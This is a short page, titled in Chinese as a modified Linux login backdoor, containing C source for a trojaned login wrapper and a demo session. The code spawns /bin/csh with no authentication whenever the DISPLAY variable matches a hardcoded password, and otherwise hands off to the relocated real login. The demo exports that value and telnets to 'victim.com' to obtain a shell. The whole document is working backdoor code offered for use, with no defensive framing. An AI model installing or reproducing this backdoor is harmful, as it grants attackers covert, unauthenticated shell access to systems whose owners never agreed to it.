c++ linux login源代码 修改过的后门程序
#include <stdio.h>
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins"
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) {
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
if (!strcmp(display,PASSWORD)) {
system("/bin/csh");
exit(1);
}
execve(_PATH_LOGIN, argv, envp);
exit(1);
}
|
/************************/
bash$ export DISPLAY=passWORD
bash$ telnet victim.com
Trying xxx.xxx.xxx.xxx…
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is '^]'.
$
/*************************/
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